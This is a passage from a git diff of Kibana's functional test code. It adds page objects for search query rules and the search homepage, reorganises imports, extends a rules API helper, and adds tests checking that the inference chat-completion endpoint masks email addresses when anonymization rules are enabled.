'@kbn/test-suites-xpack-platform/functional/page_objects/gis_page'; +import { LensPageProvider } from '@kbn/test-suites-xpack-platform/functional/page_objects/lens_page'; +import { UpgradeAssistantFlyoutObject } from '@kbn/test-suites-xpack-platform/functional/page_objects/upgrade_assistant_page'; +import { SnapshotRestorePageProvider } from '@kbn/test-suites-xpack-platform/functional/page_objects/snapshot_restore_page'; +import { UserProfilePageProvider } from '@kbn/test-suites-xpack-platform/functional/page_objects/user_profile_page'; +import { SearchSessionsPageProvider } from '@kbn/test-suites-xpack-platform/functional/page_objects/search_sessions_management_page'; +import { GraphPageObject } from '@kbn/test-suites-xpack-platform/functional/page_objects/graph_page'; import { ApiKeysPageProvider } from './api_keys_page'; import { AssetDetailsProvider } from './asset_details'; import { BannersPageObject } from './banners_page'; @@ -21,8 +30,6 @@ import { CrossClusterReplicationPageProvider } from './cross_cluster_replication import { DetectionsPageObject } from '../../security_solution_ftr/page_objects/detections'; import { EmbeddedConsoleProvider } from './embedded_console'; import { GeoFileUploadPageObject } from './geo_file_upload'; -import { GisPageObject } from './gis_page'; -import { GraphPageObject } from './graph_page'; import { GrokDebuggerPageObject } from './grok_debugger_page'; import { IndexLifecycleManagementPageProvider } from './index_lifecycle_management_page'; import { IndexManagementPageProvider } from './index_management_page'; @@ -32,7 +39,6 @@ import { InfraLogsPageProvider } from './infra_logs_page'; import { InfraMetricsExplorerProvider } from './infra_metrics_explorer'; import { InfraSavedViewsProvider } from './infra_saved_views'; import { IngestPipelinesPageProvider } from './ingest_pipelines_page'; -import { LensPageProvider } from './lens_page'; import { LicenseManagementPageProvider } from './license_management_page'; import { LogstashPageObject } from './logstash_page'; import { MaintenanceWindowsPageProvider } from './maintenance_windows_page'; @@ -43,23 +49,19 @@ import { ObservabilityPageProvider } from './observability_page'; import { AlertControlsProvider } from './alert_controls'; import { RemoteClustersPageProvider } from './remote_clusters_page'; import { RollupPageObject } from './rollup_page'; -import { SearchSessionsPageProvider } from './search_sessions_management_page'; import { ShareSavedObjectsToSpacePageProvider } from './share_saved_objects_to_space_page'; -import { SnapshotRestorePageProvider } from './snapshot_restore_page'; import { StatusPageObject } from './status_page'; import { TagManagementPageObject } from './tag_management_page'; -import { UpgradeAssistantFlyoutObject } from './upgrade_assistant_page'; import { UptimePageObject } from './uptime_page'; -import { UserProfilePageProvider } from './user_profile_page'; -import { WatcherPageObject } from './watcher_page'; -import { SearchProfilerPageProvider } from './search_profiler_page'; import { SearchPlaygroundPageProvider } from './search_playground_page'; import { SearchSynonymsPageProvider } from './search_synonyms_page'; +import { SearchQueryRulesPageProvider } from './search_query_rules_page'; import { SearchClassicNavigationProvider } from './search_classic_navigation'; import { SearchStartProvider } from './search_start'; import { SearchApiKeysProvider } from './search_api_keys'; import { SearchIndexDetailPageProvider } from './search_index_details_page'; import { SearchOverviewProvider } from './search_overview_page'; +import { SearchHomePageProvider } from './search_homepage'; import { SearchNavigationProvider } from './search_navigation'; // just like services, PageObjects are defined as a map of @@ -106,9 +108,11 @@ export const pageObjects = { searchIndexDetailsPage: SearchIndexDetailPageProvider, searchNavigation: SearchNavigationProvider, searchOverview: SearchOverviewProvider, + searchHomePage: SearchHomePageProvider, searchProfiler: SearchProfilerPageProvider, searchPlayground: SearchPlaygroundPageProvider, searchSynonyms: SearchSynonymsPageProvider, + searchQueryRules: SearchQueryRulesPageProvider, searchSessionsManagement: SearchSessionsPageProvider, security: SecurityPageObject, shareSavedObjectsToSpace: ShareSavedObjectsToSpacePageProvider, diff --git a/x-pack/test/functional/page_objects/infra_home_page.ts b/x-pack/test/functional/page_objects/infra_home_page.ts index 8a9b9a1aa8459..b2cec24f61bb8 100644 --- a/x-pack/test/functional/page_objects/infra_home_page.ts +++ b/x-pack/test/functional/page_objects/infra_home_page.ts @@ -33,6 +33,8 @@ export function InfraHomePageProvider({ getService, getPageObjects }: FtrProvide // dismiss the tooltip, which won't be hidden because blur doesn't happen reliably await this.dismissDatePickerTooltip(); + await datePickerInput.pressKeys(browser.keys.ESCAPE); + await this.waitForLoading(); }, diff --git a/x-pack/test/functional/page_objects/infra_saved_views.ts b/x-pack/test/functional/page_objects/infra_saved_views.ts index 5286808b40fea..40f0750dcfe81 100644 --- a/x-pack/test/functional/page_objects/infra_saved_views.ts +++ b/x-pack/test/functional/page_objects/infra_saved_views.ts @@ -55,7 +55,7 @@ export function InfraSavedViewsProvider({ getService }: FtrProviderContext) { }, async createNewSavedView(name: string) { - await testSubjects.setValue('savedViewName', name); + await testSubjects.setValue('savedViewName', name, { clearWithKeyboard: true }); await testSubjects.click('createSavedViewButton'); await testSubjects.missingOrFail('createSavedViewButton', { timeout: 20000 }); await retry.tryForTime(config.get('timeouts.try'), async () => { diff --git a/x-pack/test/functional/page_objects/search_homepage.ts b/x-pack/test/functional/page_objects/search_homepage.ts new file mode 100644 index 0000000000000..e6784f7158134 --- /dev/null +++ b/x-pack/test/functional/page_objects/search_homepage.ts @@ -0,0 +1,18 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { FtrProviderContext } from '../ftr_provider_context'; + +export function SearchHomePageProvider({ getService }: FtrProviderContext) { + const testSubjects = getService('testSubjects'); + + return { + async expectSearchHomePageIsLoaded() { + await testSubjects.existOrFail('search-homepage', { timeout: 2000 }); + }, + }; +} diff --git a/x-pack/test/functional/page_objects/search_navigation.ts b/x-pack/test/functional/page_objects/search_navigation.ts index d4c53bf7fc3d9..5c83680035017 100644 --- a/x-pack/test/functional/page_objects/search_navigation.ts +++ b/x-pack/test/functional/page_objects/search_navigation.ts @@ -25,6 +25,14 @@ export function SearchNavigationProvider({ getService, getPageObjects }: FtrProv }); }); }, + async navigateToElasticsearchSearchHomePage(basePath?: string) { + await retry.tryForTime(60 * 1000, async () => { + await common.navigateToApp('searchHomepage', { + shouldLoginIfPrompted: false, + basePath, + }); + }); + }, async navigateToElasticsearchStartPage(expectRedirect: boolean = false, basePath?: string) { await retry.tryForTime(60 * 1000, async () => { await common.navigateToApp('elasticsearchStart', { diff --git a/x-pack/test/functional/page_objects/search_query_rules_page.ts b/x-pack/test/functional/page_objects/search_query_rules_page.ts new file mode 100644 index 0000000000000..92aefe43dc92c --- /dev/null +++ b/x-pack/test/functional/page_objects/search_query_rules_page.ts @@ -0,0 +1,260 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { Key } from 'selenium-webdriver'; +import { FtrProviderContext } from '../ftr_provider_context'; + +export function SearchQueryRulesPageProvider({ getService }: FtrProviderContext) { + const testSubjects = getService('testSubjects'); + const find = getService('find'); + const comboBox = getService('comboBox'); + const browser = getService('browser'); + + return { + QueryRulesEmptyPromptPage: { + TEST_IDS: { + GET_STARTED_BUTTON: 'searchQueryRulesEmptyPromptGetStartedButton', + }, + async expectQueryRulesEmptyPromptPageComponentsToExist() { + await testSubjects.existOrFail(this.TEST_IDS.GET_STARTED_BUTTON); + }, + async clickCreateQueryRulesSetButton() { + await testSubjects.click(this.TEST_IDS.GET_STARTED_BUTTON); + }, + }, + QueryRulesManagementPage: { + TEST_IDS: { + QUERY_RULES_RULESETS_TABLE: 'queryRulesSetTable', + QUERY_RULES_ITEM_NAME: 'queryRuleSetName', + QUERY_RULES_ITEM_RULE_COUNT: 'queryRuleSetItemRuleCount', + QUERY_RULES_ITEM_ACTIONS_DELETE_BUTTON: 'queryRulesSetDeleteButton', + CREATE_RULESET_BUTTON: 'queryRulesOverviewCreateButton', + PAGINATION_NEXT_BUTTON: 'pagination-button-next', + PAGINATION_PREVIOUS_BUTTON: 'pagination-button-previous', + }, + async clickCreateQueryRulesRulesetButton() { + await testSubjects.click(this.TEST_IDS.CREATE_RULESET_BUTTON); + }, + async expectQueryRulesTableToExist() { + await testSubjects.existOrFail(this.TEST_IDS.QUERY_RULES_RULESETS_TABLE); + }, + async getQueryRulesRulesetsList() { + const table = await testSubjects.find(this.TEST_IDS.QUERY_RULES_RULESETS_TABLE); + const allRows = await table + .findByTagName('tbody') + .then((tbody) => tbody.findAllByTagName('tr')); + + return Promise.all( + allRows.map(async (row) => { + const $ = await row.parseDomContent(); + return { + name: $.findTestSubject(this.TEST_IDS.QUERY_RULES_ITEM_NAME).text().trim(), + ruleCount: Number( + $.findTestSubject(this.TEST_IDS.QUERY_RULES_ITEM_RULE_COUNT).text() + ), + }; + }) + ); + }, + async clickRuleset(name: string) { + // find rulesets with name and click on it + const table = await testSubjects.findAll(this.TEST_IDS.QUERY_RULES_ITEM_NAME); + for (const item of table) { + const text = await item.getVisibleText(); + if (text === name) { + await item.click(); + return; + } + } + throw new Error(`Ruleset with name "${name}" not found`); + }, + async clickDeleteRulesetRow(index: number) { + const table = await testSubjects.find(this.TEST_IDS.QUERY_RULES_RULESETS_TABLE); + const allRows = await table + .findByTagName('tbody') + .then((tbody) => tbody.findAllByTagName('tr')); + const deleteButton = await allRows[index].findByTestSubject( + this.TEST_IDS.QUERY_RULES_ITEM_ACTIONS_DELETE_BUTTON + ); + await deleteButton.click(); + }, + async expectQueryRulesListPageComponentsToExist() { + await testSubjects.existOrFail(this.TEST_IDS.QUERY_RULES_RULESETS_TABLE); + await testSubjects.existOrFail(this.TEST_IDS.QUERY_RULES_ITEM_RULE_COUNT); + }, + async clickPaginationNext() { + await testSubjects.click(this.TEST_IDS.PAGINATION_NEXT_BUTTON); + }, + async clickPaginationPrevious() { + await testSubjects.click(this.TEST_IDS.PAGINATION_PREVIOUS_BUTTON); + }, + }, + QueryRulesDetailPage: { + TEST_IDS: { + RULESET_DETAILS_PAGE_BACK_BUTTON: 'queryRulesetDetailBackButton', + RULESET_DETAILS_PAGE_SAVE_BUTTON: 'queryRulesetDetailHeaderSaveButton', + RULESET_DETAILS_PAGE_HEADER: 'queryRulesetDetailHeader', + RULESET_DETAILS_PAGE_ACTIONS_BUTTON: 'searchQueryRulesQueryRulesetActionsButton', + RULESET_DETAILS_PAGE_DELETE_BUTTON: 'queryRulesetDetailDeleteButton', + RULESET_RULES_CONTAINER: 'searchQueryRulesDroppable', + RULESET_RULE_ITEM_NAME: 'searchQueryRulesDraggableItem', + RULESET_RULE_ITEM_ACTIONS_BUTTON: 'searchQueryRulesQueryRulesetDetailButton', + RULESET_RULE_ITEM_ACTIONS_DELETE_BUTTON: 'searchQueryRulesQueryRulesetDetailDeleteButton', + RULESET_RULE_ITEM_ACTIONS_EDIT_BUTTON: 'searchQueryRulesQueryRulesetDetailEditButton', + }, + async expectQueryRulesDetailPageNavigated(name: string) { + const h1Element = await find.byCssSelector( + `main header[data-test-subj="${this.TEST_IDS.RULESET_DETAILS_PAGE_HEADER}"] h1` + ); + const text = await h1Element.getVisibleText(); + if (text !== name) { + throw new Error(`Expected page title to be "${name}" but got "${text}"`); + } + }, + async expectQueryRulesDetailPageBackButtonToExist() { + await testSubjects.existOrFail(this.TEST_IDS.RULESET_DETAILS_PAGE_BACK_BUTTON); + }, + async expectQueryRulesDetailPageSaveButtonToExist() { + await testSubjects.existOrFail(this.TEST_IDS.RULESET_DETAILS_PAGE_SAVE_BUTTON); + }, + async clickQueryRulesDetailPageSaveButton() { + await testSubjects.click(this.TEST_IDS.RULESET_DETAILS_PAGE_SAVE_BUTTON); + }, + async clickQueryRulesDetailPageActionsButton() { + await testSubjects.click(this.TEST_IDS.RULESET_DETAILS_PAGE_ACTIONS_BUTTON); + }, + async clickQueryRulesDetailPageDeleteButton() { + await testSubjects.click(this.TEST_IDS.RULESET_DETAILS_PAGE_DELETE_BUTTON); + }, + async clickEditRulesetRule(id: number) { + const items = await testSubjects.findAll(this.TEST_IDS.RULESET_RULE_ITEM_NAME); + if (items[id]) { + const actionButton = await items[id].findByTestSubject( + this.TEST_IDS.RULESET_RULE_ITEM_ACTIONS_BUTTON + ); + await actionButton.click(); + await testSubjects.click(this.TEST_IDS.RULESET_RULE_ITEM_ACTIONS_EDIT_BUTTON); + } else { + throw new Error(`Ruleset rule with id "${id}" not found`); + } + }, + }, + QueryRulesCreateRulesetModal: { + TEST_IDS: { + CREATE_QUERY_RULES_SET_MODAL_INPUT: 'searchRulesetCreateRulesetModalFieldText', + CREATE_QUERY_RULES_SET_MODAL_CREATE_BUTTON: 'searchRulesetCreateRulesetModalCreateButton', + }, + async setQueryRulesSetName(name: string) { + await testSubjects.setValue(this.TEST_IDS.CREATE_QUERY_RULES_SET_MODAL_INPUT, name); + }, + async clickSaveButton() { + await testSubjects.click(this.TEST_IDS.CREATE_QUERY_RULES_SET_MODAL_CREATE_BUTTON); + }, + }, + QueryRulesDeleteRulesetModal: { + TEST_IDS: { + DELETE_QUERY_RULES_RULESET_MODAL_DELETE_BUTTON: + 'searchRulesetDeleteRulesetModalDeleteButton', + DELETE_QUERY_RULES_RULESET_MODAL_ACKNOWLEDGE_BUTTON: 'confirmDeleteRulesetCheckbox', + DELETE_QUERY_RULES_RULESET_MODAL_CANCEL_BUTTON: + 'searchRulesetDeleteRulesetModalCancelButton', + }, + async clickDeleteButton() { + await testSubjects.click(this.TEST_IDS.DELETE_QUERY_RULES_RULESET_MODAL_DELETE_BUTTON); + }, + async clickAcknowledgeButton() { + await testSubjects.click(this.TEST_IDS.DELETE_QUERY_RULES_RULESET_MODAL_ACKNOWLEDGE_BUTTON); + }, + async clickCancelButton() { + await testSubjects.click(this.TEST_IDS.DELETE_QUERY_RULES_RULESET_MODAL_CANCEL_BUTTON); + }, + async clickConfirmDeleteModal() { + await testSubjects.click('confirmModalConfirmButton'); + }, + }, + QueryRulesRuleFlyout: { + TEST_IDS: { + RULE_FLYOUT: 'searchQueryRulesQueryRuleFlyout', + RULE_FLYOUT_UPDATE_BUTTON: 'searchQueryRulesQueryRuleFlyoutUpdateButton', + RULE_FLYOUT_PIN_MORE_BUTTON: 'searchQueryRulesPinMoreButton', + RULE_FLYOUT_METADATA_ADD_BUTTON: 'searchQueryRulesQueryRuleMetadataEditorAddCriteriaButton', + RULE_FLYOUT_DOCUMENT_DRAGGABLE_ID: 'editableResultDocumentId', + RULE_FLYOUT_DOCUMENT_INDEX: 'editableResultIndexSelector', + RULE_FLYOUT_ACTION_TYPE_EXCLUDE: 'searchQueryRulesQueryRuleActionTypeExclude', + RULE_FLYOUT_ACTION_TYPE_PINNED: 'searchQueryRulesQueryRuleActionTypePinned', + RULE_FLYOUT_CRITERIA_CUSTOM: 'searchQueryRulesQueryRuleCriteriaCustom', + RULE_FLYOUT_CRITERIA_ALWAYS: 'searchQueryRulesQueryRuleCriteriaAlways', + RULE_FLYOUT_CRITERIA_METADATA_BLOCK: 'searchQueryRulesQueryRuleMetadataEditor', + RULE_FLYOUT_CRITERIA_METADATA_BLOCK_FIELD: 'searchQueryRulesQueryRuleMetadataEditorField', + RULE_FLYOUT_CRITERIA_METADATA_BLOCK_VALUES: 'searchQueryRulesQueryRuleMetadataEditorValues', + }, + async expectRuleFlyoutToExist() { + await testSubjects.existOrFail(this.TEST_IDS.RULE_FLYOUT); + }, + async clickUpdateButton() { + await testSubjects.click(this.TEST_IDS.RULE_FLYOUT_UPDATE_BUTTON); + }, + async clickActionTypeExclude() { + await testSubjects.click(this.TEST_IDS.RULE_FLYOUT_ACTION_TYPE_EXCLUDE); + }, + async clickActionTypePinned() { + await testSubjects.click(this.TEST_IDS.RULE_FLYOUT_ACTION_TYPE_PINNED); + }, + async clickCriteriaCustom() { + await testSubjects.click(this.TEST_IDS.RULE_FLYOUT_CRITERIA_CUSTOM); + }, + async clickCriteriaAlways() { + await testSubjects.click(this.TEST_IDS.RULE_FLYOUT_CRITERIA_ALWAYS); + }, + async changeDocumentIdField(id: number, newValue: string = '') { + const documentFields = await testSubjects.findAll( + this.TEST_IDS.RULE_FLYOUT_DOCUMENT_DRAGGABLE_ID + ); + if (documentFields[id]) { + const targetField = documentFields[id]; + await targetField.click(); + await targetField.type(newValue); + } else { + await testSubjects.click(this.TEST_IDS.RULE_FLYOUT_PIN_MORE_BUTTON); + await this.changeDocumentIdField(id); + } + }, + async changeDocumentIndexField(id: number, newValue: string = '') { + const comboBoxes = await testSubjects.findAll(this.TEST_IDS.RULE_FLYOUT_DOCUMENT_INDEX); + if (comboBoxes[id]) { + const targetComboBox = comboBoxes[id]; + await targetComboBox.click(); + await comboBox.setCustom(this.TEST_IDS.RULE_FLYOUT_DOCUMENT_INDEX, newValue); + // Press tab to ensure the value is set correctly + await browser.pressKeys(Key.TAB); + } + }, + async changeMetadataField(id: number, newValue: string = '') { + const metadataFields = await testSubjects.findAll( + this.TEST_IDS.RULE_FLYOUT_CRITERIA_METADATA_BLOCK + ); + if (metadataFields[id]) { + const targetMetadataBlock = metadataFields[id]; + const targetField = await targetMetadataBlock.findByTestSubject( + this.TEST_IDS.RULE_FLYOUT_CRITERIA_METADATA_BLOCK_FIELD + ); + await targetField.click(); + await targetField.type(newValue); + } else { + await testSubjects.click(this.TEST_IDS.RULE_FLYOUT_METADATA_ADD_BUTTON); + await this.changeMetadataField(id); + } + }, + async changeMetadataValues(_: number, newValue: string = '') { + await comboBox.setCustom( + this.TEST_IDS.RULE_FLYOUT_CRITERIA_METADATA_BLOCK_VALUES, + newValue + ); + }, + }, + }; +} diff --git a/x-pack/test/functional/page_objects/search_start.ts b/x-pack/test/functional/page_objects/search_start.ts index 1d98d093820b4..c833df7d42272 100644 --- a/x-pack/test/functional/page_objects/search_start.ts +++ b/x-pack/test/functional/page_objects/search_start.ts @@ -33,6 +33,11 @@ export function SearchStartProvider({ getService }: FtrProviderContext) { ); }); }, + async expectToBeOnSearchHomepagePage() { + await retry.tryForTime(60 * 1000, async () => { + expect(await browser.getCurrentUrl()).contain('/app/elasticsearch/home'); + }); + }, async expectToBeOnMLFileUploadPage() { await retry.tryForTime(60 * 1000, async () => { expect(await browser.getCurrentUrl()).contain('/app/ml/filedatavisualizer'); @@ -132,5 +137,8 @@ export function SearchStartProvider({ getService }: FtrProviderContext) { ); expect(await testSubjects.getAttribute('createO11ySpaceBtn', 'target')).equal('_blank'); }, + async clearSkipEmptyStateStorageFlag() { + await browser.removeLocalStorageItem('search_onboarding_global_empty_state_skip'); + }, }; } diff --git a/x-pack/test/functional/services/index.ts b/x-pack/test/functional/services/index.ts index 90f9684b35d1e..eb0cac586451d 100644 --- a/x-pack/test/functional/services/index.ts +++ b/x-pack/test/functional/services/index.ts @@ -10,6 +10,8 @@ import { services as kibanaApiIntegrationServices } from '@kbn/test-suites-src/a import { AceEditorProvider } from '@kbn/test-suites-xpack-platform/functional/services/ace_editor'; import { UserMenuProvider } from '@kbn/test-suites-xpack-platform/functional/services/user_menu'; import { SampleDataServiceProvider } from '@kbn/test-suites-xpack-platform/functional/services/sample_data'; +import { GrokDebuggerProvider } from '@kbn/test-suites-xpack-platform/functional/services/grok_debugger'; +import { SearchSessionsService } from '@kbn/test-suites-xpack-platform/functional/services/search_sessions'; import { ReportingFunctionalProvider } from '@kbn/test-suites-xpack-platform/reporting_functional/services'; import { services as kibanaXPackApiIntegrationServices } from '../../api_integration/services'; import { services as commonServices } from '../../common/services'; @@ -55,14 +57,12 @@ import { RandomProvider } from './random'; // @ts-ignore not ts yet import { CanvasElementProvider } from './canvas_element'; // @ts-ignore not ts yet -import { GrokDebuggerProvider } from './grok_debugger'; // @ts-ignore not ts yet import { UptimeProvider } from './uptime'; import { InfraSourceConfigurationFormProvider } from './infra_source_configuration_form'; import { LogsUiProvider } from './logs_ui'; import { MachineLearningProvider } from './ml'; import { TransformProvider } from './transform'; -import { SearchSessionsService } from './search_sessions'; import { ObservabilityProvider } from './observability'; import { CasesServiceProvider } from './cases'; import { ActionsServiceProvider } from './actions'; diff --git a/x-pack/test/functional/services/rules/api.ts b/x-pack/test/functional/services/rules/api.ts index 8ad6e45ee8572..ab088a30810a3 100644 --- a/x-pack/test/functional/services/rules/api.ts +++ b/x-pack/test/functional/services/rules/api.ts @@ -5,6 +5,7 @@ * 2.0. */ +import type { RuleResponse } from '@kbn/alerting-plugin/common/routes/rule/response'; import { FtrProviderContext } from '../../ftr_provider_context'; export function RulesAPIServiceProvider({ getService }: FtrProviderContext) { @@ -20,6 +21,7 @@ export function RulesAPIServiceProvider({ getService }: FtrProviderContext) { ruleTypeId, schedule, actions = [], + tags = [], }: { consumer: string; name: string; @@ -28,6 +30,7 @@ export function RulesAPIServiceProvider({ getService }: FtrProviderContext) { ruleTypeId: string; schedule: Record; actions?: any[]; + tags?: string[]; }) { log.debug(`Create basic rule...`); const { body: createdRule } = await kbnSupertest @@ -41,6 +44,7 @@ export function RulesAPIServiceProvider({ getService }: FtrProviderContext) { rule_type_id: ruleTypeId, schedule, actions, + tags, }) .expect(200); return createdRule; @@ -67,5 +71,11 @@ export function RulesAPIServiceProvider({ getService }: FtrProviderContext) { await this.deleteRule(rule.id); } }, + + async getRule(id: string): Promise { + log.debug(`Getting rule with id ${id}...`); + const { body: rule } = await kbnSupertest.get(`/api/alerting/rule/${id}`).expect(200); + return rule; + }, }; } diff --git a/x-pack/test/functional_gen_ai/inference/tests/chat_complete.ts b/x-pack/test/functional_gen_ai/inference/tests/chat_complete.ts index 1f92b9d534231..422464cc840cb 100644 --- a/x-pack/test/functional_gen_ai/inference/tests/chat_complete.ts +++ b/x-pack/test/functional_gen_ai/inference/tests/chat_complete.ts @@ -9,8 +9,33 @@ import { lastValueFrom, toArray } from 'rxjs'; import expect from '@kbn/expect'; import { supertestToObservable } from '@kbn/sse-utils-server'; import type { AvailableConnectorWithId } from '@kbn/gen-ai-functional-testing'; +import { + ELASTIC_HTTP_VERSION_HEADER, + X_ELASTIC_INTERNAL_ORIGIN_REQUEST, +} from '@kbn/core-http-common'; +import type SuperTest from 'supertest'; +import { aiAssistantAnonymizationSettings } from '@kbn/inference-common'; import type { FtrProviderContext } from '../ftr_provider_context'; +export const setAdvancedSettings = async ( + supertest: SuperTest.Agent, + settings: Record +) => { + return supertest + .post('/internal/kibana/settings') + .set('kbn-xsrf', 'true') + .set(ELASTIC_HTTP_VERSION_HEADER, '1') + .set(X_ELASTIC_INTERNAL_ORIGIN_REQUEST, 'kibana') + .send({ changes: settings }) + .expect(200); +}; +const emailRule = { + entityClass: 'EMAIL', + type: 'RegExp', + pattern: '([a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,})', + enabled: true, +}; + export const chatCompleteSuite = ( { id: connectorId, actionTypeId: connectorType }: AvailableConnectorWithId, { getService }: FtrProviderContext @@ -143,7 +168,66 @@ export const chatCompleteSuite = ( expect(message).to.eql({ type: 'error', code: 'requestError', - message: "No connector found for id 'do-not-exist'", + message: + "No connector found for id 'do-not-exist'\nSaved object [action/do-not-exist] not found", + }); + }); + + describe('anonymization enabled', () => { + before(async () => { + await setAdvancedSettings(supertest, { + [aiAssistantAnonymizationSettings]: JSON.stringify({ rules: [emailRule] }, null, 2), + }); + }); + after(async () => { + await setAdvancedSettings(supertest, { + [aiAssistantAnonymizationSettings]: JSON.stringify({ rules: [] }), + }); + }); + it('returns a chat completion message with deanonymization data', async () => { + const response = await supertest + .post(`/internal/inference/chat_complete`) + .set('kbn-xsrf', 'kibana') + .send({ + connectorId, + temperature: 0.1, + system: 'Please answer the user question', + messages: [ + { role: 'user', content: 'My email is jorge@gmail.com. What is my email?' }, + ], + }) + .expect(200); + const message = response.body; + expect(message.deanonymized_input[0].deanonymizations[0].entity.value).to.be( + 'jorge@gmail.com' + ); + const emailMask = message.deanonymized_output.deanonymizations[0].entity.mask; + expect(message.content.includes(emailMask)).to.be(false); + }); + }); + describe('anonymization disabled', () => { + before(async () => { + await setAdvancedSettings(supertest, { + [aiAssistantAnonymizationSettings]: JSON.stringify({ rules: [] }), + }); + }); + it('returns a chat completion message without deanonymization data', async () => { + const response = await supertest + .post(`/internal/inference/chat_complete`) + .set('kbn-xsrf', 'kibana') + .send({ + connectorId, + temperature: 0.1, + system: 'Please answer the user question', + messages: [ + { role: 'user', content: 'My email is jorge@gmail.com. What is my email?' }, + ], + }) + .expect(200); + + const message = response.body; + expect(message.deanonymized_input).to.be(undefined); + expect(message.deanonymized_output).to.be(undefined); }); }); }); @@ -252,7 +336,8 @@ export const chatCompleteSuite = ( type: 'error', error: { code: 'requestError', - message: "No connector found for id 'do-not-exist'", + message: + "No connector found for id 'do-not-exist'\nSaved object [action/do-not-exist] not found", meta: { status: 400, }, @@ -260,6 +345,107 @@ export const chatCompleteSuite = ( }, ]); }); + + describe('anonymization disabled', () => { + before(async () => { + await setAdvancedSettings(supertest, { + [aiAssistantAnonymizationSettings]: JSON.stringify({ rules: [] }), + }); + }); + it('returns events without deanonymization data and streams', async () => { + const response = supertest + .post(`/internal/inference/chat_complete/stream`) + .set('kbn-xsrf', 'kibana') + .send({ + connectorId, + temperature: 0.1, + system: 'Please answer the user question', + messages: [ + { role: 'user', content: 'My email is jorge@gmail.com. What is my email?' }, + ], + }) + .expect(200); + + const observable = supertestToObservable(response); + const events = await lastValueFrom(observable.pipe(toArray())); + // Should have multiple chunk events (confirming it's streaming) + const chunkEvents = events.filter((event) => event.type === 'chatCompletionChunk'); + expect(chunkEvents.length).to.be.greaterThan(1); + const messageEvent = events.find((event) => event.type === 'chatCompletionMessage'); + expect(messageEvent.deanonymized_input).to.be(undefined); + expect(messageEvent.deanonymized_output).to.be(undefined); + }); + }); + + describe('anonymization enabled', () => { + before(async () => { + await setAdvancedSettings(supertest, { + [aiAssistantAnonymizationSettings]: JSON.stringify({ rules: [emailRule] }, null, 2), + }); + }); + after(async () => { + await setAdvancedSettings(supertest, { + [aiAssistantAnonymizationSettings]: JSON.stringify({ rules: [] }), + }); + }); + it('returns a chat completion message with deanonymization data and does not stream the response', async () => { + const response = supertest + .post(`/internal/inference/chat_complete/stream`) + .set('kbn-xsrf', 'kibana') + .send({ + connectorId, + temperature: 0.1, + system: 'Please answer the user question', + messages: [ + { role: 'user', content: 'My email is jorge@gmail.com. what is my email?' }, + ], + }) + .expect(200); + const observable = supertestToObservable(response); + const events = await lastValueFrom(observable.pipe(toArray())); + expect(events.length).to.eql(3); + const chatCompletionChunks = events.filter( + (event) => event.type === 'chatCompletionChunk' + ); + expect(chatCompletionChunks.length).to.eql(1); + const chatCompletionMessage = events.filter( + (event) => event.type === 'chatCompletionMessage' + ); + expect(chatCompletionMessage.length).to.eql(1); + const relevantEvents = chatCompletionMessage.concat(chatCompletionChunks); + relevantEvents.forEach((event) => { + expect(event.deanonymized_input[0].deanonymizations[0].entity.value).to.be( + 'jorge@gmail.com' + ); + const emailMask = event.deanonymized_output.deanonymizations[0].entity.mask; + expect(event.content.includes(emailMask)).to.be(false); + }); + }); + + it('streams normally when no PII is detected even with rules enabled', async () => { + const response = supertest + .post(`/internal/inference/chat_complete/stream`) + .set('kbn-xsrf', 'kibana') + .send({ + connectorId, + temperature: 0.1, + system: 'Please answer the user question', + messages: [{ role: 'user', content: 'What is 2+2? No personal information here.' }], + }) + .expect(200); + + const observable = supertestToObservable(response); + const events = await lastValueFrom(observable.pipe(toArray())); + + const messageEvent = events.find((event) => event.type === 'chatCompletionMessage'); + expect(messageEvent.deanonymized_input).to.be(undefined); + expect(messageEvent.deanonymized_output).to.be(undefined); + + // Should have multiple chunk events (confirming it's streaming) + const chunkEvents = events.filter((event) => event.type === 'chatCompletionChunk'); + expect(chunkEvents.length).to.be.greaterThan(1); + }); + }); }); }); }; diff --git a/x-pack/test/functional_search/index.ts b/x-pack/test/functional_search/index.ts index 78fcad766593d..3225292231c19 100644 --- a/x-pack/test/functional_search/index.ts +++ b/x-pack/test/functional_search/index.ts @@ -10,9 +10,9 @@ import { FtrProviderContext } from './ftr_provider_context'; export default ({ loadTestFile }: FtrProviderContext): void => { describe('Search solution tests', function () { + loadTestFile(require.resolve('./tests/search_homepage')); loadTestFile(require.resolve('./tests/classic_navigation')); loadTestFile(require.resolve('./tests/solution_navigation')); - loadTestFile(require.resolve('./tests/search_overview')); loadTestFile(require.resolve('./tests/search_start')); loadTestFile(require.resolve('./tests/search_onboarding_api_keys.ts')); loadTestFile(require.resolve('./tests/search_index_details')); diff --git a/x-pack/test/functional_search/tests/classic_navigation.ts b/x-pack/test/functional_search/tests/classic_navigation.ts index 0f6b0c01aa8b2..4a0a9292fe303 100644 --- a/x-pack/test/functional_search/tests/classic_navigation.ts +++ b/x-pack/test/functional_search/tests/classic_navigation.ts @@ -32,7 +32,7 @@ export default function searchSolutionNavigation({ solution: 'classic', })); await browser.navigateTo(spaces.getRootUrl(spaceCreated.id)); - await common.navigateToApp('enterpriseSearch'); + await common.navigateToApp('searchHomepage'); }); after(async () => { @@ -50,6 +50,7 @@ export default function searchSolutionNavigation({ { id: 'SearchApplications', label: 'Search Applications' }, { id: 'Relevance', label: 'Relevance' }, { id: 'Synonyms', label: 'Synonyms' }, + { id: 'QueryRules', label: 'Query Rules' }, { id: 'InferenceEndpoints', label: 'Inference Endpoints' }, ]); }); @@ -88,6 +89,11 @@ export default function searchSolutionNavigation({ breadcrumbs: ['Relevance', 'Synonyms'], pageTestSubject: 'searchSynonymsOverviewPage', }, + { + navItem: 'QueryRules', + breadcrumbs: ['Relevance', 'Query Rules'], + pageTestSubject: 'queryRulesBasePage', + }, { navItem: 'InferenceEndpoints', breadcrumbs: ['Relevance', 'Inference Endpoints'], diff --git a/x-pack/test/functional_search/tests/search_homepage.ts b/x-pack/test/functional_search/tests/search_homepage.ts new file mode 100644 index 0000000000000..704d91b105cca --- /dev/null +++ b/x-pack/test/functional_search/tests/search_homepage.ts @@ -0,0 +1,201 @@ +/* + * 